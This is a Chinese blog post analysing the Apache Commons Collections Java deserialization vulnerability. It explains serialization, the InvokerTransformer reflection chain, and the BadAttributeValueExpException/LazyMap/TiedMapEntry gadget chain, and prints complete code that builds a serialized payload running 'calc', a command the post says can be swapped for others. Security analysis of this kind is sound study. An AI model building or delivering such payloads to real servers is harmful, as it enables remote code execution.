Apache Commons Collections反序列化漏洞分析

Apache Commons Collections反序列化漏洞必然是2015年影响重大的漏洞之一,同时也开启了各类java反序列漏洞的大门,这几年大量各类java反序列化漏洞不断出现。java反序列化漏洞基本一出必高危,风险程度极大,最近研究了一些反序列化漏洞,本篇记录apache commons collections反序列化漏洞。

一. 序列化与反序列化

java程序在运行时,会产生大量的数据。有些时候,我们需要将内存中的对象信息存储到磁盘或者通过网络发送给第三者,此时,就需要对对象进行序列化操作。当我们需要从磁盘或网络读取存储的信息时,即为反序列化。简单理解,序列化即将内存中的对象信息转换为字节流并存储在磁盘或通过网络发送。反序列化,即从磁盘或网络读取信息,直接转换为内存对象。

如果一个对象需要进行序列化,需要注意一下两点:

  1.必须实现Serializable接口

  2.序列化的是实例对象,故static修饰的属性不会序列化。transient修饰的属性也不会被序列化

举例说明,新建一个Person对象,并对Person对象进行序列化和反序列化操作 

public class Person implements Serializable {
    
    private static final long serialVersionUID = 2484848939485859L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }

}
    /*
    将对象序列化到磁盘中
    */
    @Test
    public void SerializePerson() throws IOException {
        Person person = new Person();
        person.setName("abc");
        person.setAge(12);
        person.setSex("男");
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/123.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功");
        oo.close();
    }
/*
    从磁盘中直接反序列化对象
    */
    @Test
    public void DeserializePerson() throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/123.txt")));
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功");
        System.out.println(person.toString());
        ois.close();
    }

可以看到序列化,即是将对象通过ObejctOutPutStream类的writeObject()方法写入文件即可。写入完成的文件,打开如下,二进制格式的文件

反序列化即通过ObjectInputStream类中的readObject()方法读取文件流,即可直接在内存中还原序列化的对象,包括其中的属性值

反序列化过程中关键的就是readObject方法,通过readObject将文件流转换为内存对象。因此,反序列化漏洞的关键就是在readObject()方法。在序列化后的文件中,可以看到是哪个对象被序列化到文件中的。在反序列化过程中如果该对象的类中重写的readObject()方法,在反序列化中会调用该类中的readObject()方法,有兴趣的可以用debug模式跟踪下具体的执行路径。

反序列化时,会调用反序列化的对象类中的readObject()方法,那证明如果一个对象的readObject()方法被重写,在反序列化的过程中即可被调用。试验一下,新建Person2对象,重写readObject方法,添加一行代码Runtime.getRuntime().exec("calc"),如果readObject方法被调用,将会弹出计算器。

public class Person2 implements Serializable {
    
    private static final long serialVersionUID = 248484898547362356L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public String toString() {
        return "Person2{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }
}
public class Person2Test {

    //序列化
    @Before
    public void SerializePerson2() throws IOException {
        Person2 person2 = new Person2();
        person2.setName("abc");
        person2.setAge(12);
        person2.setSex("男");
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/2.txt")));
        oo.writeObject(person2);
        System.out.println("Person对象序列化成功");
        oo.close();
    }
    
    //反序列化
    @Test
    public void DeserializePerson2() throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/2.txt")));
        Person2 person2 = (Person2) ois.readObject();
        System.out.println("Person对象反序列化成功");
        System.out.println(person2.toString());
        ois.close();
    }
    
}

进行反序列化后,可以看到会弹窗,但是对象属性值并没有被还原

网上找了下,重写readObject()时,需要调用ObjectInputStream的defaultReadObject方法,重新操作一遍,结果成功。

public class Person2 implements Serializable {
    
    private static final long serialVersionUID = 248484898547362356L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
        in.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public String toString() {
        return "Person2{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }
}

通过以上分析,如果我们能够控制重写反序列化类的readObject方法,就可以制造反序列化漏洞,从而达到攻击效果。然而,我们自己写个类,随后进行序列化,再发送给远程服务器,服务器反序列化的时候也是不成功的,因为服务器端根本没有我们自己写的类。只能考虑,如果服务器已经存在的某个库中的某个类,类本身就重写了readObject方法,是否能通过构造该类的序列化对象,以达到在反序列化时,触发特定操作,实现攻击。满足重写readObject方法的类有非常多,经过大牛们的寻找,AnnotationInvocationHandler、BadAttributeValueExpException等类均满足条件。

二. 反射链

我们的目标是通过反序列化运行Runtime.getRuntime().exec(new String[]{"calc"}),没有任何类可以直接提供运行条件,但机智的大佬们,通过Transform构建反射链,即可实现上面的代码。

@Test
public void test4(){
        Transformer[] transformerList = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{new String[]{"calc.exe"}})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformerList);
        transformerChain.transform(Runtime.class);
}

具体可阅读源代码,此处简单分析下,当执行ChainedTransformer的transform()方法时,通过循环,以此调用ChainedTransformer数组中每个Transformer的transform()方法。

ChainedTransformer是由一个ConstantTransformer和三个InvokerTransformer组成的数组,ConstantTransformer和InvokerTransformer都继承于Transformer类,当调用InvokerTransformer的transformer方法时,可通过反射去执行相应的方法,不了解反射机制的可以先研究下。

为便于理解,上面反射链执行的代码近似于如下代码(PS:不包括捕获异常):

@Test
public void test5(){
        try {
            Class class1 = Runtime.class.getClass();
            Method method1 = class1.getMethod("getMethod",new Class[]{String.class,Class[].class});
            Method method2 = (Method) method1.invoke(Runtime.class,new Object[]{"getRuntime",null});
            
            Class class2 = method2.getClass();
            Method method3 = class2.getMethod("invoke",new Class[]{Object.class,Object[].class});
            Runtime runtime = (Runtime)method3.invoke(method2,new Object[]{null,null});
            
            Class class3 = runtime.getClass();
            Method method4 = class3.getMethod("exec",new Class[]{String[].class});
            method4.invoke(runtime,new Object[]{new String[]{"calc.exe"}});
            
        }catch (Exception e){
            e.printStackTrace();
        }
}
@Test
public void test6(){
        try {
            /*
            Class class1 = Runtime.class.getClass();
            Method method1 = class1.getMethod("getMethod",new Class[]{String.class,Class[].class});
            Method method2 = (Method) method1.invoke(Runtime.class,new Object[]{"getRuntime",null});
            * */
            Method method2 = Runtime.class.getMethod("getRuntime",null);
            
            /*
            Class class2 = method2.getClass();
            Method method3 = class2.getMethod("invoke",new Class[]{Object.class,Object[].class});
            Runtime runtime = (Runtime)method3.invoke(method2,new Object[]{null,null});
            * */
            Runtime runtime = (Runtime) method2.invoke(null,null);
            
            
            /*
            Class class3 = runtime.getClass();
            Method method4 = class3.getMethod("exec",new Class[]{String[].class});
            method4.invoke(runtime,new Object[]{new String[]{"calc.exe"}});
            * */
            runtime.exec("calc.exe");
            
        }catch (Exception e){
            e.printStackTrace();
        }
}

现在我们需要思考的是,如何让程序执行执行ChainedTransformer的transform方法。首先参考上面简单画的图,反序列化时,系统自动调用需要反序列化的对象的readObject方法。加上前面介绍反射链,只要能够执行ChainedTransformer的transform方法,即可执行代码Runtime.getRuntime().exec(new String[]{"calc"})。现在我们的目标是让某个类的readObject方法去调用ChainedTransformer的transform方法,这样就可以打通图中的第二个环节,使整个执行链路完整。

直接参照大佬们给出的实例代码,如下。

@Test
public void createFile(){
        
        try {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {new String[]{"calc"}})
            };
            
            Transformer transformChain = new ChainedTransformer(transformers);
            
            Map mp=new HashMap();
            mp.put("1", "1");
            
            Map lazyMap = LazyMap.decorate(mp, transformChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "6666");
            
            BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
            Field valField = exception.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(exception, entry);
            
            File f = new File("D:/tmp/serialize/cc.bin");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(exception);
            out.flush();
            out.close();
            
        }catch (Exception e){
            e.printStackTrace();
        }
}

上图简单描述了如何打通第二步,首先创建HashMap,通过HashMap去创建LazyMap,再通过LazyMap创建TiedMapEntry。随后创建BadAttributeValueExpException类,这个类的readObject方法是被重写过的,如下。该类中还存在一个类型为Object的私有变量val,随后将上面创建的TiedMapEntry赋值给val变量。因val是私有变量,所以也是通过反射机制去赋值(BadAttributeValueExpException可以在构造函数中直接给val变量赋值,为什么不直接通过构造函数去赋值,反而通过反射的方式去赋值,此处不解释了,可以自己研究实验下)。赋值完成后,将此BadAttributeValueExpException对象序列化到文件。正向的去看这些操作,不便于理解,下面我们通过跟踪反序列化的过程,展示如何去执行到ChainedTransformer。

三.反序列化过程

当反序列化BadAttributeValueExpException时,会调用该对象的readObject方法,并且,该对象的val变量值为一个TiedMapEntry。当调用readObject方法时,var3即为序列化时的TiedMapEntry对象。var3即不是null,也不是String类型、Long类型等,故只会执行最后一个else,this.val = var3.toString()

TiedMapEntry对象的toString方法,会继续执行该对象的getKey和getValue方法。getValue方法会调用对象的map.get方法

参考序列化过程TiedMapEntry对象,变量map为一个LazyMap对象,key为String型的字符串“6666”。刚分析,反序列化调用到map.get(this.key),相当于调用LazyMap对象的get方法,传入的参数为“6666”。

继续查看LazyMap的get方法以及序列化过程(参考上图)中,lazyMap是由包含 HashMap转换而来,hashMap包含一个键值对,即{“1”:“1”}。

通过Map lazyMap = LazyMap.decorate(mp,transformChain)。lazyMap对象的map变量值即为{“1”:“1”}的hashMap键值对,factory即为最开始构造的Transform反射链。当反序列化时,调用lazyMap.get("6666"),map中并不包含key为“6666”的键值对,所以会直接运行到LazyMap get方法的59行,因factory变量在序列化操作时,被复制为ChainedTransformer的反射链对象,所以此处相当于调用ChainedTransformer.transform方法,目标达成!

至此,我们通过反序列化执行到Runtime.getRuntime().exec(new String[]{"calc"})。若需要执行其他命令,只需改变反射链即可。所以第二步和整个反序列化流程如下。

最后看下弹出的计算器。。。。。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值